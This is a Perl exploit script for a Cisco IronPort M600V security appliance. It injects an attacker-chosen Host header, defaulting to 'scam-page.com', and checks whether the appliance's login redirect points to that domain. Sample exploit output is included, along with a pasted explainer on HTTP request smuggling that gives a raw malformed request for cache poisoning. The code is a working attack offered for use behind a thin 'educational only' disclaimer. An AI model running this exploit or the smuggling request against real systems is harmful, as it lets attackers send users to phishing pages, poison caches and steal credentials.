#!/usr/bin/perl -w
#
#
#  Cisco Content Security Management Virtual Appliance M600V IronPort Remote Header 'Host' Injection
#
#
#  Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>
#
#
#  Disclaimer:
#  This or previous programs are for Educational purpose ONLY. Do not use it without permission. 
#  The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages 
#  caused by direct or indirect use of the  information or functionality provided by these programs. 
#  The author or any Internet provider  bears NO responsibility for content or misuse of these programs 
#  or any derivatives thereof. By using these programs you accept the fact  that any damage (dataloss, 
#  system crash, system compromise, etc.) caused by the use  of these programs are not Todor Donev's 
#  responsibility.
#   
#  Use them at your own risk!
#
#       [test@localhost ironport]$ perl ironport_m600v.pl https://192.168.1.1
#  # Cisco Content Security Management Virtual Appliance M600V IronPort Remote Header 'Host' Injection
#  # =================================================================================================
#  # Author: Todor Donev 2019 (c) <todor.donev at gmail.com>
#  # >  Host => scam-page.com
#  # >  User-Agent => iCab/4.0 (Macintosh; U; Intel Mac OS X)
#  # >  Content-Type => application/x-www-form-urlencoded
#  # <  Cache-Control => no-store,no-cache,must-revalidate,max-age=0,post-check=0,pre-check=0
#  # <  Date => Wed, 04 Sep 2019 09:09:09 GMT
#  # <  Pragma => no-cache
#  # <  Location => https://scam-page.com/login?CSRFKey=df80e845-fe20-739b-e96a-71d7331b5e6f&referrer=https%3A%2F%2Fscam-page.com%2FSearch
#  # <  Server => glass/1.0 Python/2.6.4
#  # <  Content-Type => text/html
#  # <  Expires => Wed, 04 Sep 2019 09:09:09 GMT
#  # <  Last-Modified => Wed, 04 Sep 2019 09:09:09 GMT
#  # <  Client-Date => Wed, 04 Sep 2019 09:09:09 GMT
#  # <  Client-Peer => 192.168.1.1:443
#  # <  Client-Response-Num => 1
#  # <  Client-SSL-Cert-Issuer => 
#  # <  Client-SSL-Cert-Subject => 
#  # <  Client-SSL-Cipher => DHE-RSA-AES128-GCM-SHA256
#  # <  Client-SSL-Socket-Class => IO::Socket::SSL
#  # <  Client-SSL-Warning => Peer certificate not verified
#  # <  Refresh => 0; URL=https://scam-page.com/login?CSRFKey=df80e845-fe20-739b-e96a-71d7331b5e6f&referrer=https%3A%2F%2Fscam-page.com%2FSearch
#  # <  Set-Cookie => sid=xPLafDYAZCboH6s0rHzX; expires=Friday, 06-Sep-2019 09:09:09 GMT; httponly; Path=/; secure
#  # <  Title => : Redirecting
#  # <  X-Frame-Options => SAMEORIGIN
#  # =================================================================================================
#  # IronPort is Poisoned => https://scam-page.com/login?CSRFKey=df80e845-fe20-739b-e96a-71d7331b5e6f&referrer=https%3A%2F%2Fscam-page.com%2FSearch
#       [test@localhost ironport]$ 
#
#   
#  Request Smuggling Attack - Input and Data Validation
#    
#  Implementation
#    
#    o   Attack Applies To Vulnerable web servers and proxies.
#  
#  
#  Description
#  
#  HTTP request smuggling is a technique to take advantage 
#  of discrepancies in parsing when one or more HTTP devices
#  are between the user and the web server. An attacker may 
#  be able to 'smuggle' malicious requests through a packet 
#  inspector, firewall or web proxy server. This technique 
#  may leave the web server vulnerable to various attacks 
#  such as web cache poisoning, or allow the attacker to 
#  request protected files on the web server.
#  
#  Impact
#  
#        Cache poisoning: An attacker may be able to ‘rewire’ 
#    o   a web server cache so that one page is served when 
#        another is requested.
#
#        Malicious requests: An attacker may be able to smuggle 
#    o   a malicious request through a packet inspector, web proxy
#        server, or firewall because of discrepancies in security 
#        rules between it and the web server.
#
#        Credential hijacking: An attacker may be able to insert 
#    o   a request into the HTTP flow, thereby manipulating the 
#        web server’s request/response sequencing, which can allow 
#        the attacker to hijack a third party’s credentials.
#  
#  Vulnerabilities
#  
#     o  Web server, packet inspector, firewall, or web proxy server 
#        misconfiguration.
#  
#  Countermeasures
#  
#        Deploy a non-vulnerable web server: Web servers with a very 
#     o  strict HTTP parsing procedure may not be vulnerable to this 
#        attack.
#
#        Change all pages to non-cacheable: This will force the proxy 
#        to retrieve the pages from the web server every time. Although 
#     o  this is better from a security perspective, the reality is that 
#        caching significantly improves the server's performance and 
#        reduces latency. Thus, other countermeasures are a better long 
#        term fix.
#
#     o  Rewrite all HTTP requests: Install a module on a firewall or 
#        proxy server to rewrite each HTTP request on the fly to a known 
#        valid request type.
#
#     o  Update your web server: Contact the web server vendor and check 
#        if there has been a patch released for a this type of vulnerability.
#  
#  
#  Example
#  
#  This example describes the classic request smuggling attack
#  in which an attacker can poison one page with the contents 
#  of another. In this example, the attacker combines one POST 
#  request and two GET requests into a single malformed HTTP 
#  request. The HTTP request has two Content-Length headers 
#  with conflicting values. Some servers, such as IIS and 
#  Apache simply reject such a request, but others attempt to 
#  ‘fix’ the error. Fortunately for the attacker, certain web 
#  servers and web proxies choose to pay attention to different
#  sections of the malformed request.
#  
#  In this case let "somewhere.com" be the DNS name of the web 
#  server behind the proxy, and suppose that "/poison.html" is
#  a static and cacheable HTML page on the web server.
#  
#  1 POST http://somewhere.com/example.html 
#  HTTP/1.1\r\n2 Host: somewhere.com\r\n3 
#  Connection: Keep-Alive\r\n4 
#  Content-Type: application/x-www-form-urlencoded\r\n5 
#  Content-Length: 0\r\n6 Content-Length: 53\r\n7 \r\n8 GET /poison.html HTTP/1.1\r\n9 
#  Host: somewhere.com\r\n10 Bla: 11 GET http://somewhere.com/index.html HTTP/1.1\r\n12 
#  Host: somewhere.com\r\n13 Connection: Keep-Alive\r\n14 \r\n
#  
#  Note that line 10 is the only line that does not end in 
#  CRLF ("\r\n") and instead there is a space ("Bla: "). 
#  This request is sent to a web server via a proxy server.
#  
#  First, this message is parsed by the proxy. When the proxy server 
#  parses the message, it finds the POST request (lines 1-7) followed by 
#  the two conflicting Content-Length's (lines 5 and 6). The proxy ignores
#  the first header and believes the body is 53 bytes long (which is exactly 
#  the number of bytes used by lines 8-10 including CRLFs). The proxy then 
#  sees lines 11-14 and interprets them as a second request.
#  
#  Second, the message is parsed by the web server. Although the web server
#  receives the same message, when it sees the first Content-Length in line 5,
#  it thinks that the body of the POST request is 0 bytes in length. 
#  Therefore it finds the second request in line 8 and interprets line 11 
#  as the value of "Bla: " in line 10 because of the missing CRLF.
#  
#  
#  At this point the web server responds to the GET in line 8 by sending 
#  the content of /poison.html to the proxy. The proxy, expecting a 
#  response to the GET request in line 11, mistakenly matches the reply 
#  from the webserver with contents from /poison.html to the page /index.html. 
#  Therefore, the contents of /poison.html are cached under the name /index.html 
#  on the proxy. Now any user who requests http://somewhere.com/index.html 
#  through the proxy will receive the contents of http://somewhere.com/poison.html 
#  instead.
#  
#  There are several options available to mitigate this attack but all of 
#  them have their downside. If possible, use a well tested web server such 
#  as Apache or IIS. Otherwise, you can turn off server-side page caching, 
#  but this can lead to significant performance problems such as increased 
#  server load and latency. A final option is to use SSL communication for 
#  everything (HTTPS instead of HTTP), but this too has an associated 
#  performance overhead. 
# 
use strict;
use v5.10;
use HTTP::Request;
use LWP::UserAgent;
use WWW::UserAgent::Random;


my $host = shift || '';
my $attacker = shift || 'scam-page.com';


print "# Cisco Content Security Management Virtual Appliance M600V IronPort Remote Header 'Host' Injection
# =================================================================================================
# Author: Todor Donev 2019 (c) <todor.donev at gmail.com>
";
if ($host !~ m/^http/){
print  "# e.g. perl $0 https://target:port/ scam-page.com
";
exit;
}

my $user_agent = rand_ua("browsers");
my $browser  = LWP::UserAgent->new(
                                        protocols_allowed => ['http', 'https'],
                                        ssl_opts => { verify_hostname => 0 }
                                );
   $browser->timeout(10);
   $browser->agent($user_agent);

my $request = HTTP::Request->new (POST => $host,[Content_Type => "application/x-www-form-urlencoded"], " ");
$request->header("Host" => $attacker);
my $response = $browser->request($request);
print "# 401 Unauthorized!\n" and exit if ($response->code eq '401');
say "# >  $_ => ", $request->header($_) for  $request->header_field_names;
say "# <  $_ => ", $response->header($_) for  $response->header_field_names;
print "# =================================================================================================\n";
if (defined ($response->header('Location')) and ($response->header('Location') =~ m/$attacker/i)){
  printf ("# IronPort is Poisoned => %s\n", $response->header('Location'));
  exit;

} else {

  printf ("# Exploit failed!\n");
  exit;

}